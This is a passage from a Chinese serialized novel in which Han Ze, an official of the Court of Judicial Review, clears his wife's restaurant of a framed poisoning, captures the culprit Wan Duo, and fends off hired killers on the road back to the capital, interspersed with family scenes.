韩泽往外走,“万铎被他老子送出了城,想要找到他不容易。” “那你还敢抓他老子?让他们有了准备,抓人更难。” “打草才能惊蛇。”在得知两起命案发生时万常青不在京城,韩泽便想到了人可能不是万常青。人在不在京,一查便知,万常青不可能撒这么容易戳破的谎言。 威胁钱氏的人可能与万常青有关,或与万香阁有关,那人可能也是与张大宝接触之人,是不是万铎他不敢肯定。 不过,瞧着万常青一回来就把儿子支走,怕是整件事跟万铎脱不了关系。如今地牢走一遭,若是做贼心虚不信万常青没有动作。 韩泽:“顾春桃可还在刑部?” “没有。”褚景尧道,“她儿子丢了,我派人找了也没找到。只好把她放出去找孩子,顾春桃像没头苍蝇似的到处找,孩子没找到,也没见她去找什么人。如今人还在外面晃荡,带回来也没用,孩子下落不明,她轻易不会开口。” “孩子丢了她比谁都急,之前不说不代表现在不说,尽快把人带回来。若是孩子丢失不是意外,顾春桃或许知道些什么,如此她便是重要证人,千万不能有闪失。” 褚景尧与他并肩走出刑部地牢,听完韩泽的话,褚大人气道:“韩少卿,干脆你来刑部算了,这案子都快成你主办了。” 他这还没行动,韩泽那边把该查的都查得明明白白,现在还来吩咐他做事,褚景尧心里很不舒服。 韩泽抬头看了一眼刑部的巨大匾额,嗤了一声。 褚景尧:“……” “韩泽你什么意思,瞧不起谁呢?”褚景尧这个气。 韩泽拍了拍他的肩膀,“褚大人误会了。” 褚景尧心里稍微好受一点,以为韩泽要跟他道歉,就听这厮道:“我若来刑部,就没旁人什么事了。” 他手底下的人随便拎出一个都能独当一面。他若来刑部,一样无出其右。 褚景尧对着韩泽的背影运气,若不是地点不对,非骂他两句,能干了不起啊? “对了。”韩泽回头,“劳烦褚大人留在刑部哪里都不要去,大理寺查到的信息将陆续送来给您,作为主办官褚大人坐下来喝茶等消息就成。” 说完韩泽上了马车,褚景尧半天才憋出一句:“娘的。” 你还知道老子是主办官,越权都管到刑部来了。要不是他褚景尧脾气好,换个人都得参他一本。算了,看在他替媳妇着急上火没觉睡的份上,他就大人大量不计较了。 因为陆大人给大家放了假,所以韩泽没回大理寺而是直接回了家。刚进门就听见韩曜“咯咯”的笑声。 韩母、芸姨娘、韩莺和韩浩媳妇周芸姝都在东院。看见儿子双眼通红,韩母很心疼。“事情让手下去做,你抽空歇一歇啊,这么熬熬坏了身体可如何是好?” “我没事。”韩泽道,“母亲!这几日我的人会频繁出入家里,您派人守着北边角门,来人尽快通知我。” 韩母一听这是正事,片刻不敢耽搁就去安排。芸姨娘和周芸姝起身告辞,见韩莺还在逗侄子,周芸姝扯了下她。 韩莺眨眨眼,周芸姝对挤眼睛。韩莺知道这是要给大哥大嫂腾地方,但她舍不得韩曜,小家伙现在看见谁都笑,正是好玩的时候。“大嫂,要不我把曜儿抱走,有他在大哥休息不好。” 韩泽:“抱走吧。” 韩莺就随口一说,也没指望大嫂同意,哪知他哥先答应下来。韩莺愣了一下就去拿被子,然后把韩曜抱起来放在被子上简单裹一下就要抱走。 芸姨娘无奈,把韩曜接过来。“得给他穿上厚点的衣服,还得戴上帽子,这样才不容易受风着凉。” 姚轻雪笑道:“莺儿多学着点,来年你嫁人用不了多久也该当娘了,孩子的事马虎不得。” 韩莺羞红了脸,扭捏道:“才不要当娘。” “你的意思是只想嫁人,而不想当娘喽?”周芸姝扶着腰站在一旁调侃她。三个多月的肚子并不是很大。 “哎呀,二嫂不理你了。”韩莺赌气似地跑出屋子。她说要抱孩子,结果一转身人走了。 芸姨娘抱起包裹严实的韩曜,对韩泽和姚轻雪道:“曜儿我抱去夫人屋里,等他饿了再送回来。” “有劳姨娘了。” 韩曜被被子帽子裹得严严实实,只漏出两只眼睛,似乎知道要出门,他小腿不停地蹬,看上去很兴奋。 等出了房门发现娘亲没有跟出来,他小嘴一扁就要哭,周芸姝赶紧逗他,“曜儿,快看小鸟。” 落在树梢上的麻雀扑棱棱飞走,韩曜霎时被吸引了注意。冬日的院子光秃秃一片,但在韩曜眼里一切都是新奇的,他这瞧瞧那看看很快便忘了找娘。 韩泽换了身衣服躺在床上,姚轻雪盘腿坐在床头给他按摩头。“吃饭了吗?” “随便吃了点。”韩泽闭着眼,看上去很累。 “想吃什么我去给你做。” 韩泽想了下,“疙瘩汤。” 想起当初图省事常给他做疙瘩汤,然后落了韩泽一顿埋怨,姚轻雪笑道:“怎么还想上疙瘩汤了?” “很久没吃突然想了。”韩泽抓过她的一只手放到脸上蹭了蹭。 刚认识时,这双手粗糙,五指下有不薄的茧子,如今不用亲自上灶、做活,雪儿倒是把手养得柔软细腻。 姚轻雪翻身下床,“我去给你做,很快。” 到了灶房便让人生火,一刻钟不到,一碗疙瘩汤出锅。等姚轻雪把疙瘩汤端回房间,韩泽已经睡着了。 第127章 第127章进展 韩泽从刑部离开后,褚景尧就让人把顾春桃带了回来。丢了孩子的女人像失了魂一样,眼中尽是哀伤,步履蹒跚,好似一股大风就能把她吹倒。 褚景尧哀其不幸更怒其不争:“顾氏,知道什么赶紧说,晚了你儿子的命就保不住了。” 眼睛红肿的顾春桃呆呆地跪坐在地上不说话,这两天她把一辈子的眼泪流干了。 “顾氏,那些人心狠手辣知情人都被灭了口,你在本官的保护下才安然无恙。此时你的孩子或许被关在某个地方忍饥挨饿。耽搁一日孩子就多吃一日苦,大概还有性命之忧。这么跟你说吧,背后之人本官早已锁定,你说与不说都改变不了结果,想来你也不知道什么有用的信息,为了你儿子,你自己好想想吧。” 半晌,顾春桃终于有了反应。“我没见过那人,只听我男人说有人给他五十两银子和一些蘑菇,让他那日中午偷偷拿去饕餮楼吃了,但不要吃完要留下一两个,那人说吃了蘑菇也就拉几天肚子,为的是给饕餮楼找点麻烦,说是同行眼红他们的生意。” “那人嘱咐我男人不准对任何人说这件事,我男人去饕餮楼前跟我说要发大财了,以后让我们娘俩过好日子,在我追问下他才跟我说。可是想不到、”想不到她男人死在了饕餮楼。 顾春桃“啊!”的一声哭叫出来:“要是知道那蘑菇会吃死人,我男人怎么会答应?他们说若是我乱说话,银子和孩子就都没了。” 五十两银子本来埋在灶房的柴堆 下,等她从衙门回家银子和孩子一块丢了。他男人已经死了,光靠她给人洗衣服怎么养得活孩子?所以她才咬死是饕餮楼毒死了他男人。若孩子有个三长两短,她还活得了吗? 或许那些人根本就没想过要给她银子。顾春桃又悔又恨,悔的是男人与她说时她就该拦住,而不是被五十两冲昏了头。恨的是那些人不把她男人的命当命。 “他们?”褚景尧问:“你何时见过他们?” “那日从衙门回家,路上不小心撞了一个婆子,他、他其实是男人,他说要想孩子平安就什么都不准说,把事情都推给饕餮楼。事后会给我二百两银子,这辈子我和孩子都吃喝不愁。” 褚景尧立刻把跟着顾春桃的人叫过来询问。两人一脸茫然,想了半天才想起来顾春桃何时撞了人。 “大人!”那两人自知有错赶紧道歉,“是我二人疏忽,请大人责罚。” 褚景尧气得一人踢了一脚,“难怪韩泽看不起咱们,瞧瞧你们一个个的,人就在你们眼皮子都没发现。” 两名手下臊得满脸通红,站在一旁不敢说话。 等冷静下来,褚景尧无奈叹气。沉疴痼疾岂是骂两句打两下就能改过的?顾春桃之所以好好活着,也是她不知道什么有用信息,不然带回来的就是一具尸体了。 虽然不是什么有用信息,也得让韩泽知道他也在做事。“派人去大理寺送信,把顾春桃的话转述给他。告诉韩少卿西北来的商人有人认识阎王催,饕餮楼的嫌疑可以洗清。另外,他替本官发的悬赏没什么用,只知道张大宝出了城,出城后去了哪里无人知晓。” 想来是张大宝出城后被人接走了。走路总能碰上几个人,但坐在马车里便无人能看见了。 把人派出去后,褚景尧对手下道:“大理寺来人立刻来报,不得有误。”韩泽能干就让他们干去吧,坐享其成也不错。 刑部的人先去大理寺没找到人,之后才找到将军府。此时韩泽已经睡了快两个时辰。连日来的困乏终于得到几分缓解。 韩泽大口吃着炸酱面,先前那碗疙瘩汤早就成一坨,姚轻雪趁他睡觉的时间亲自下厨做了炸酱面。先把肉酱做好,面等他醒后才下锅。 肥瘦相间的五花肉切成指甲大小的肉丁,用素油翻炒,调味后加入调稀的干豆酱。炸酱面的精华在肉酱,姚轻雪知道韩泽喜欢大块吃肉,肉丁便切的大些。和过了水的面条、瓜菜丝等一起吃下去,满口喷香。 “好吃!”韩泽满足地喟叹,很久没吃这么过瘾了。还真是怀念雪儿给他当厨娘的日子,想吃什么下直回家就能吃进嘴里。无论家里的厨子手艺如何好,都不如雪儿的手艺。如今是自己孩子娘,也不舍得让她下厨。 “改天再给你做。”姚轻雪抱着韩曜在桌子旁走来走去。 韩曜趴在他娘的肩膀上,眼睛直勾勾地看着他爹、手里的碗,他右手食指塞进嘴里,口水顺着胖胖短短的指头流下来。 “想吃吗?”韩泽夹起一块肉递到儿子鼻子下,让他闻了下味儿,然后在小娃期待的眼神中放进自己嘴里。 “啊!”韩曜用力挥舞着小手,要是他能走能动,非得打他爹两巴掌。 受了爹的伤害,吃饱喝足的韩泽想要抱抱儿子,韩曜扭头不理他。 “臭小子。”韩泽捏了捏儿子嫩出水的小脸蛋。 这时春佟进来说刑部来人了。 韩泽:“带去偏院。”他在儿子脸上狠狠亲了一口,然后大步离开。 韩曜愣了愣,随后便哭起来。走出院门还能听见韩曜呜哇的哭声。 刑部的人看见韩少卿心情不错的样子,嘴角还带着笑,还以为案子有了进展呢。谁能知道堂堂大理寺少卿因为把儿子欺负哭了而高兴。 如韩泽预料的一般,顾春桃那里得不到有用的信息。他的手下都散出去了,还没有回来消息。万家好歹与宁王府有关系,想找到人没那么容易。 刚送走刑部的人,韩府管事匆匆过来找韩泽:“大公子,宫里来人,陛下让您即刻进宫。” 韩泽皱了下眉,总感觉不是好事。果然,进宫后皇帝扔给他一个折子。 “有人参大理寺少卿越权查案,无凭无据便把人抓去地牢审问。” 韩泽翻开折子从头看到尾,再看上折子的人,心中便清楚是怎么回事了。此人是宁王门生,所谓的抓人审问便是把万常青带去刑部地牢之事。 “回陛下,确有此事,但与奏折所说有出入。大理寺从来不会无故抓人,况且臣是请万常青去给证人辨认,并不是抓去审问。想来宁王殿下有什么误会。” 皇帝:“三皇叔参与其中?” “宁王殿下是否知情臣不知,但万常青的亲妹妹万凝霜乃宁王殿下的爱妾。”韩泽低着头恭顺道,“臣以为宁王殿下应是不知情,饕餮楼小小一家酒楼并不值得宁王殿下惦记。” 皇帝看了一眼臣子兼童年好友,“小小酒楼?你可知有多少人觊觎饕餮楼?”想当初饕餮楼还不是饕餮楼,三皇叔便想要过去。如今他用些手段得到饕餮楼也不是没有可能。 “哼,你媳妇每月往家拿多少银子你会不知道?爱卿莫要口是心非。” 韩泽脸上有几分羞赧,“不瞒陛下,臣从来不过问她赚多少,内子赚的钱都是她自己保管。” “哦?这倒是稀奇。”皇帝饶有兴趣地问:“你的妻子赚的钱不给你,你就不怕她给别人?” “饕餮楼是她一手做起来的,我没帮上她什么,家中弟妹也从她那里拿着不菲的分红。”韩泽脸上有几分得意,“雪儿每月都给我不少零花,臣十分知足。” 别说皇帝,就连旁边的太监都惊讶的瞪大眼睛。京城高官有一个算一个因妻子给零花钱而得意的怕是只有这位大理寺少卿了。换做别人恐是怕被人说吃软饭而不敢声张。 “哈哈!”皇帝大笑,“你们夫妻俩还真般配。罢了,刑部那头也不用问了,你给朕个时间,何时能把案子查清?奏折递到朕这来,总不好一直压着。” 韩泽拱手:“三日,陛下再给臣三日时间,臣定能找到背后主使。” 从宫里回来韩泽没回东院,而是在偏远等着。天黑后,在外奔走的杜七等人终于有了消息。 杜七灌了好几杯茶水才开口:“苏绒的孩子找到了,能找到那小娃还多亏了饕餮楼的伙计们。” 酒楼关门这两日让在饕餮楼做事的人心里发慌,万一饕餮楼关门,或是姚东家受到打击心灰意冷把酒楼转让。他们上哪里找这么好的营生去? 闲着没事的人聚在一起一合计,就满大街找张大宝,不是为刑部的高额赏银,纯粹是想尽自己的一份力保住饕餮楼。 张大宝没找到,结果让他们无意中在城北窝棚地找到了孩子。窝棚地住的大多是没有家宅的懒汉、乞丐。也有犯了小事的人为了躲避仇家或是官府追查躲在那里。 为找张大宝,大理寺把那里查了一便,当时那孩子还不在窝棚地。“那懒汉说是在我们查过之后有人把孩子扔给他,十两银子养半个月。” 懒汉过一日算一日 ,平日自己都照顾不好,哪里能照顾好一个孩子。乍然有了十两银子巨款便出去快活。那孩子关在屋里一口热饭都没吃上。 估计用不了多久,那孩子不是饿死就得冻死。饕餮楼的伙计在外面找人,听见孩子的哭声才把人救出来。 韩泽:“为了保住饭碗,也是费心了。” 杜七笑道:“也是少夫人对手下太好了,换做是谁都要出一份力。” 韩泽点了下头,“把孩子送去刑部交给褚大人。” “是。”杜七起身。 这时姚轻雪敲门进来,“若是不急,吃口饭再走吧。” “这怎么好意思。”杜七拿眼去瞟韩泽。 韩泽:“累了一天了,吃过饭再回去休息。” “多谢大人。”杜七回身又给姚轻雪行一礼,“我替兄弟们谢谢少夫人。” “不用跟我客气,为了我的事你们受累了,稍等片刻,我让厨房再做两道菜。”说完姚轻雪转身出了门。 杜七重新坐下,“大人,韩羽和老余那边还没送回消息吗?” “张大宝目前只知道出了城,出城后去了哪里却不得而知。万常青已有行动,等着吧,很快就会有好消息。” 万常青果然沉不住气了,回家不久就偷偷派人出城。他定然不知韩泽早就派人盯着万家、盯着万香阁,他那边的一点风吹草动都逃不过大理寺的眼线。 杜七领着手下在将军府吃了顿饱饭,把孩子送去刑部才回家。 韩泽一边陪儿子玩一边等张大宝和万铎的消息。小家伙还不知记仇,早忘了他爹用肉馋他那茬。现在同他爹并排躺在床上咿咿呀呀不知说着什么。 韩泽跟媳妇说了饕餮楼伙计的事,姚轻雪嘴边噙着笑。她从来不觉得给他们多些奖励有多吃亏。推己及人主家对自己好,她做事都要上几分心。固然有钱槐花那种人,但也有像吴四那样的老实人,大多数是知道感恩的。 “明日我让人通知他们安心在家歇几天,等案子结了饕餮楼就开门。”目前的线索可以证明苏绒的死是有人故意栽赃陷害,与饕餮楼没有关系,但背后主使没有找到,现在开门迎客并不是好时机。 没听见人说话,姚轻雪转头,就见那父子俩头对头都睡着了。 姚轻雪轻手轻脚给俩人盖好被子,在儿子另一侧躺下。 次日晨曦,出城的人终于有了消息。 先回来禀告的刘圭道:“万常青派人通知万铎尽快逃,我们若去晚一步,那几个跟着万铎做恶事的家伙就被万家灭口了。万铎和他那几个手下全部抓获。” “好!”韩泽终于露出多日来最开心的笑,“张大宝可有找到?” 第128章 第128章押解 刘圭:“据万铎的手下交代,张大宝已死,人埋在城外十里坡的山沟里。韩羽让我先回来给大人报信,万铎等人还关在朗县县衙。” 朗县虽隶属京城管辖,但距离京城有一百多里。韩羽和余天照都没带几个人。考虑到万铎乃万家的独苗,他们怕万常青有后手更怕他狗急跳墙,路上有意外,俩人一商量原地等候最稳妥。 韩泽快速写了一封信,让曹叔亲自交给褚景尧。随后他点了将军府二十名护卫,打算即刻赶往朗县。 姚轻雪从灶房出来,听说韩泽正牵马往外走,她赶紧招呼人:“快,快把包子装进篮子里。” 刚听说刘圭回来她就觉得韩泽应该马上要走,可能顾不上吃饭,于是她就来厨房看看有没有能吃的。一瞧早膳是包子,等包子熟的功夫,韩泽那边已经点人准备走了。这会儿太阳才升起没多久,将军府所有人都还未吃早饭,护卫也一样。 两个婆子手脚麻利地把刚出锅的包子装进两个篮子里,秋月和雨竹一人提一个跟着主子往大门处走去。 韩泽正要上马,姚轻雪远远地喊道:“都没吃早饭,带几个包子吧,路上也好垫垫肚子。” 说话间姚轻雪已经走到近前。白嫩的小包子散发出阵阵肉香,从透油的面皮可以看出里面的肉馅有多充足。韩家护卫伙食都不错,但看见这样的包子也都忍不住咽了下口水。 韩泽看一眼众人:“现在就吃,路上风大。” “是!”二十多人每人抄起一个包子往嘴里塞。 这本是给府上主子们准备的小肉包,巴掌大,五大三粗的男人们两口一个,很快两个篮子就见了底。有人砸吧砸吧嘴只觉得不过瘾。 韩泽:“先去办事,回来想吃多少吃多少。” 姚轻雪忙道:“回来就不吃包子了,我把饕餮楼的厨子请回来给大家做。” 二十人齐齐道:“谢少夫人!” “回去吧。”说完韩泽翻身上马率先出府,刘圭和二十名护卫紧随其后。随着远去的马蹄声,将军府门前只留下滚滚烟尘。 二十几人骑马出城,阵仗不小,他们刚出成没多久,万常青就得到了消息。 从昨日到今早万常青简直是度日如年,夜里更是一宿没合眼。派去给儿子送信的人迟迟不回,他就有不好的预感,天不亮就让人在城门守着。 听说韩泽带那么多人出城,万常青一屁股跌坐到椅子上:“完了。”此时他才后知后觉地想到,他应该是中计了。 儿子在何处除了他无人知晓,就连凝霜都不知道。万长青握紧拳头狠狠砸了下去,桌上的杯碟被震得叮咚作响。“来人!” 落到大理寺手里不会有好结果,何况万铎害的还是韩泽家人。宁王殿下愿不愿意保他儿子还不一定。宁王袖手旁观,儿子和整个万家都将大难临头。无论如何都不能让他们把万铎带回京城。 韩泽带人顶着冬日清晨的寒风一路飞奔到朗县,韩羽看到他时脸上立时露出笑容,大家悬着的心终于放进肚子里。 朗县县令听说大理寺少卿亲自来了,赶紧出来迎接。“大人,下官已备好饭菜,吃口饭暖暖身子再走不迟。” 韩泽:“免了,事关重大,劳烦县令大人备好囚车,本官即刻押送犯人回京。” 囚车早就准备好了,没用多久余天照便带人从县衙大牢里出来。从抓到人开始他就带人守着万铎和他的四名手下,片刻不敢离身。 告别朗县县令,将军府二十护卫加上韩泽及其手下共二十九人,将万铎五人牢牢锁在中间。出城前在小摊上买了饼子、馒头等边走边填饱肚子。 道路两边大多是农田山坡和树林,冬天无树叶杂草遮挡,一眼能看出去老远。大家一口气走出三十里地平安无事。 韩羽:“张大宝的尸首埋在十里坡,咱们要不要顺路把他带回去?刚好有那几人带路。” “张大宝不急。”韩泽道。 人已经死了,早一时晚一时都不打紧,天冷也不怕尸身腐坏。如今最重要的是把万铎这五人平安押解回京交到刑部。如此他也给了皇上交代。 至于刑部怎么查?查到哪里?或者说陛下想查到哪里,并不是他该管的事。 “我记得来时有一个山坳,那里视野较窄。” “您是说那里会有埋伏?”韩羽表情立刻凝重起来。 韩泽:“若我是万常青,各种证据齐全万铎必死,我就是拼死也要把他救出去。”从朗县回京只有这一条平坦大道,而那条山坳是此道必经之路。 “属下先去前方探探。”韩羽一夹马腹,跑到队伍前头,转眼就没了影。 韩泽让大家放慢速度。他看了一眼四肢被固定在囚车里动弹不得的万铎。万铎见韩泽终于看自己,他晃动脑袋想要开口说话。 冬日本就冷,尤其是在野外没有任何遮挡,呼啸的北风刮得人脸生疼。养尊处优的大少爷哪里受过这样的罪。万铎想开口让人放开他的手脚,起码能舒服些。但大理寺那些人给他带了口枷,根本说不出话。 “老实点。”护卫用刀鞘敲了敲囚车警告他别乱动。 韩泽驱马过来,挥了下手,护卫把万铎嘴里的东西拿下来。 万铎张嘴便道:“知道我是 什么人吗?这么对我,我姑姑不会放过你们。” 韩泽抽出腰上的剑。 “你你要干什么?”万铎以为韩泽要杀他,吓得往后躲,但他被固定得动弹不得,能躲到哪里去。 韩泽拿剑不轻不重地拍了拍万铎的脸颊,拔剑他只是不想脏手而已。“你觉得你姑姑能救你?还是宁王殿下会救你?” 王铎不敢说话,他怕一句说错,韩泽的剑把他脖子摸了。 韩泽继续道:“办砸了事,你猜你能不能活着回到京城?” 开始万铎没反应过来,片刻后双眼瞪大。“不会的,姑姑不会那么做,他最疼我。” “最疼你?”韩泽嗤笑,“当真疼你,就不会让你做下三滥的事,更不会让你手上沾血。” 万铎哑口无言无力反驳,父亲知道后狠狠给了他一个巴掌,骂他没脑子,他也很委屈。姑姑是他亲姑姑,这么多年靠着姑姑的关系,万香阁不断壮大。如今万家的香卖进达官贵人府中,下一步父亲打算把香献给宫里的贵人。 事情若是成了,万香阁在京城的地位便会更上一层,然而这些都要靠在宁王府的姑姑从中斡旋。姑姑说可以借宁王的势拿下饕餮楼,然后给他打理。 饕餮楼啊,京城酒楼的行首,地盘不是最大,开业不是最久,但绝对是最赚钱的。做饕餮楼的掌柜,光是想想就让他热血沸腾。 那个女人不也是借将军府的势才把酒楼开起来吗?他背后还是皇室呢,跟宁王殿下比将军府算什么?姑姑说有宁王殿下能出什么事? 即便如此他还是万分小心,本来事情都做得好好的,绝对不会牵连到他头上,更不会有人想到万家。 事情若是成了,他和万家都将飞黄腾达。但是,现在事情败露。姑姑兜得住吗?即便姑姑有心保他这个侄儿,宁王殿下愿意吗?他姑姑又不是宁王正妃,若是宁王殿下翻脸不认人,那么万家…… 万铎不敢往下想。 “万铎,我只问你一句,你如实回答,本官便让你舒服些。”韩泽看着伸不开四肢,露在外面的手脚以及脸被冻得青紫的万铎。 万铎:“你问,我什么都说。” “你和万凝霜合谋算计我妻子,宁王殿下是否知情?” “不知。”万铎想都没想就答道,“姑姑说是她自己的主意,宁王殿下并不知情。” 韩泽看着他,万铎不像说慌。但王府的一个妾会有这么大胆子,与韩家叫嚣吗? 韩泽命人给他重新戴上口枷。万铎挣扎、脸上愤怒,那样子像是说,你不是说回答你的问题就让我舒服些吗? 韩泽冷冷地看他:“没挑断你手脚筋脉,你就该感谢我宽宏大量。” 万铎顿时老实了。比起舒服还是命更重要。京城也没有多远,即便进大牢也比这个好受。只要回了京姑姑和父亲一定不会看着他死。 半个时辰左右,前方传来急促的马蹄声,韩泽命队伍停下,众人做防备姿势。等马跑近一瞧是自己人。 韩羽勒住马,低声道:“大人,您所料不错,那处山坳确有蹊跷,上面应该藏了人,具体多少不知道,怕被人发现属下没敢靠太近。” 刘圭:“这么快?咱们连口水都没喝就从朗县离开,那处山坳离京城少说也有七八十里。” 余天照:“大人,那处山坳虽不起眼,但若是从两侧放箭,我们很难招架。要不要先停下,派人回京请求支援。” “万家一介商户哪来的弓箭手?”韩羽看向余天照。私藏弓弩等同谋逆。 余天照没说话,万家没有但宁王府有。 韩泽摇摇头,“不会有弓箭手。”宁王没那么傻,光天化日派府中侍卫出城。 整件事宁王是否参与,韩泽不得而知。即便参与,做事的是万铎和他的手下,被牵连的也只有万凝霜。跟宁王没有关系,他犯不上铤而走险。 这几年陛下把不听话的朝臣处理了一批又一批,对皇室亲族也没有手软,宁王不敢在这个时候惹陛下不快。 其实判断和宁王有没有关系,就看回京后万凝霜是否还活着?以他对人性的了解,万凝霜这种人怕死,断然舍不得自己死。 不过那都是回京之后的事了,眼下要怎么过那段山坳? 第129章 第129章回京 再说万常青,用最短的时间花了近半数家财,请了一帮亡命徒救他儿子。刀尖舔血的人哪里都有,京城也不例外。且能在京城扎根的杀手身手都不俗。 四十人在老鹰沟两侧藏下身,有人心里犯嘀咕,“那雇主说有人绑架他家少主,也不说他家少主是谁,更没说绑架者是谁,还让咱们把其他人四个都杀了,我怎么觉得这事透着蹊跷呢?” “找咱们了事的,哪个不透着蹊跷?咱赚的就是这份见不得光的钱,你管那么多干嘛?雇主给的银子多,把人救下来咱们立马离开京城,三千两够快活几年了。” 蒙面雇主给了他们每人三百两定金,说好事成之后一手交人一手交钱,每个人另付两千七百两。有了三千两银子,找个地方能安稳过完下半辈子了。 “也对。”那人讷讷道,“干完这票我就再也不来京城了。”京城人有钱是真有钱,但要对付的人也都不是好惹的。 众人不在言语,眼睛直勾勾盯着通往京城的官道。这条路很是宽敞平坦,并行两辆马车不是问题。从朗县到京城也就老鹰沟这里窄了些,也是最好的伏击地点。 大约半个时辰后,远处传来“哒哒”的马蹄声和车轮声,几息后有人影进入众人视线。等再走近些有人问:“这些人看着不像普通人?” 无论骑马还是走路,所有人腰板都挺得直直的,动作看上去呆板规律,只有军中之人才会如此。 有人忐忑地问:“不会是官家的吧?”干他们这行最怕的就是与官家对上。所以以往每次任务都要查对方底细。但这次雇主给的银子实在太多了,而且时间紧急,谁都不知要对上的是什么人。 万常青只让他们来劫人,可没告诉他们对方是大理寺。韩泽等人都穿的便服,护卫统一青灰色着装,都看不出身份。 打劫小商小户或是小官之家和衙门是两码事,尤其是在京城,哪个衙门都不好惹。 四十人心里都开始犯嘀咕,有人想临阵退缩,三千两银子固然好,但得有命拿,拿到之后有命花才行。即便现在撂挑子,口袋里也装了三百两,不亏。 领头的低声呵斥:“都别瞎想,等劫了人立刻离开京城地界,即便是官府也拿咱们没办法。”雇主答应事成之后额外给他两千两,他断不能让这些人走了。 有想铤而走险的便附和道:“咱们人在京外,后面就是山,想跑也容易,眼看要进嘴里的肥肉哪能让他飞了,对方才二十个人,二对一咱们稳赢,干。” 有几个不怕死的鼓动,其他人胆子也大起来。有人拿出画像准备把雇主要的人找出来。“哎?车怎么蒙着布,这哪看得清谁是谁?”万一杀错了可就拿不到银子了。 只见三两马车上都盖着布,还不一样色儿,黑的和青灰,看布的形状像是笼子。“这像是囚车。” 若是囚车,就是官家队伍无疑。领头的怕有人再打退堂鼓,忙道:“管他什么车,把人救出来拿上银子咱们就远走高飞,官家也找不到我们。” 人和车马上就到眼前,箭在弦上,即便有人想退也是来不及了,只能硬着头皮上。主要还是三千两的赏银太诱人。 韩泽骑在马上目视前方,但手始终放在腰间的剑上。那些人等二十人加上三两囚车完全进入山坳才动手。 四十人突然跳出来,把前路后路都堵死,这些人不容分说上来就砍杀。将军府的护卫可不是吃素的,韩泽挑出来的二十人武艺都是顶尖的。一人打两个也不落下风,何况还有韩泽和韩羽两位杀神。 片 刻功夫万常青雇来的杀手就死了十来个,那些人连囚车的边都没摸着。有人心生退意不敢上前。 韩泽甩了下剑上的血:“大理寺的囚车也敢劫?你们是万常青养的狗?” “大、大理寺?”蒙面人群集体后退几步,心凉了半截。 “看来是拿钱办事,万常青给了你们多少银子?赶着来送死。现在罢手还来得及,大理寺不予追究,否则杀无赦。”韩泽手中的剑在阳光下闪着光,像吹过山谷的刺骨寒风,刮的却不是脸颊,而是心尖。 领头的不想失去三千两,便道:“别听他的,当官的向来说话不算话,我们放下刀,明日他就能抄了咱们老窝,反正京城也待不下去了。今日是最后一战,兄弟们一起上。” 他提刀飞奔过来,与韩泽打在一处。此人作为头领有些本事。韩泽想要轻而易举杀掉他都办不到。 这些人发了狠,韩家护卫有些自顾不暇,便给人钻了空子。三两囚车被人掀了蒙布,囚车里空荡荡一个人都没有。 “娘的,上当了,撤。” 他们想跑,但韩泽等人不会给他们机会。韩家护卫日日训练,练就一身本事却没有用武之地,今日总算逮着机会了。负伤都不在乎,全都杀红了眼。 领头那人见大事不妙也想跑,被韩泽抓到空隙一剑抹了脖子,那人瞪大双眼一副不可置信的样子。 韩泽抹了一把脸上温热的血:“别追。”穷寇莫追,况且万铎他们还在后面的山里,他的人不能分散。 韩羽等人聚过来,韩家护卫有人捂着胳膊,有人一瘸一拐,有人脸上挂了彩,若是在偏半寸眼睛就不用要了。 好在大家都全须全尾。韩泽长长舒了口气,将军府的每一个护卫都是父亲亲自训练出来的,平时没少和他交手,折一个他都会很难过。 在大家包扎伤口时,前方传来急促的马蹄声。韩羽立即起身手握长刀挡在韩泽身前:“万常青又找了人?” “不用紧张。”韩泽拍拍他的肩膀,“自己人。” 轰隆的马蹄声由远及近,韩羽不敢放松,等看见为首那人的脸时,这才把手从刀柄上放下。 褚景尧勒住马,扫了一眼满地尸体,再看看韩泽等人满身血或是伤。一时间他不知道该说什么好。 若不是韩泽急着替他妻出头,今日来押人的该是他和他的手下。若真如此,他们能一个不死吗?褚景尧不敢保证,此刻他对韩泽生出几分佩服来。 褚景尧下马,对韩泽抱拳。“韩大人!辛苦。万铎人呢?” 韩泽看一眼韩羽,韩羽拿出一个哨子放在嘴边吹了几声,外人听不出调子,只有大理寺的人知道这里面含有的暗语。韩羽的哨音刚落,山里隐约传出些许不一样的哨声。 韩羽拱手:“褚大人,万铎等人在后面二里地左右,请大人随我去接应。” 刚刚打抖时,马都跑出去老远,只有韩泽的踏雪还留在原地。 踏雪不让旁人骑,韩泽让韩羽留下找马和照顾大家,他骑上踏雪往来时路疾驰而去。此时万铎位置已经暴漏,谁也不能保证万常青没有后手。必须尽快赶过去。 当看见鼻青脸肿的万铎被余天照拖着时,韩泽彻底放下心。褚景尧接手万铎和他的四名手下。 余天照提醒道:“褚大人小心,这家伙不老实。刚是怕不好走路,不然非砍了他们的脚不可。” 韩泽兵分两路后,万铎猜可能是他爹派人来救他了,再看大理寺九个人押他们五个,他就想趁人少逃了。这九人里任何一个打他们五个都绰绰有余。五个人被余天照狠狠收拾一顿才老实。 褚景尧笑道:“放心,我刑部的手段不比你们大理寺差。”刚还对韩泽生出敬意,等到了公事上他又不自觉地和大理寺比较上了。 重新回到山坳,韩家护卫已经休整完毕。重伤的留下等车过来接,轻伤的就跟队伍一起走。褚景尧留了一部分人处理尸体。 把万铎等五人重新塞进囚车。褚景尧拿起原本盖在囚笼上的布一瞧,有一件黑色披风,其余是几件青灰外衫系在一起。 为了蒙蔽敌人,韩泽打算盖住囚车,但荒郊野岭的哪里找布去,临走前也没想起买,韩大人只好把披风贡献出来,三辆囚车一个披风不够,韩家护卫把青布衫脱了下来系在一起。 刑部来了二十多人,加上韩泽的,队伍看上去很是庞大。褚景尧打着刑部的旗子,过往行人纷纷避让,路上站不下就跳到沟帮上,总之是不敢靠近半分。 一行人顺利进京,城内百姓要比过路的胆子大,看见衙门押解囚犯,都站在路边看热闹。 在岔路口,韩泽带着护卫与刑部的人分开。 褚景尧戏谑道:“韩大人不再送送?”他又恢复那副不着调还欠揍的样子。 韩泽调转马头,看都不看他。“要是把人丢了,你也就别留在刑部给褚家丢脸了。” “嘿,你还来劲儿了。”褚景尧还想说上几句过过嘴瘾,韩泽一溜烟没影了。 躲在人群中的万常青看见万铎被押解回京,便知道无力回天了。他最后看了儿子一眼,转身走进一条小巷。得想办法把自己和万家摘出去。 第130章 第130章水落石出 韩泽到家第一时间派人去城外接重伤的护卫回京,等他安排好后便要回东院。韩母把他拦住,“你这样会吓着雪儿,先去我屋里洗把脸换身衣服。” 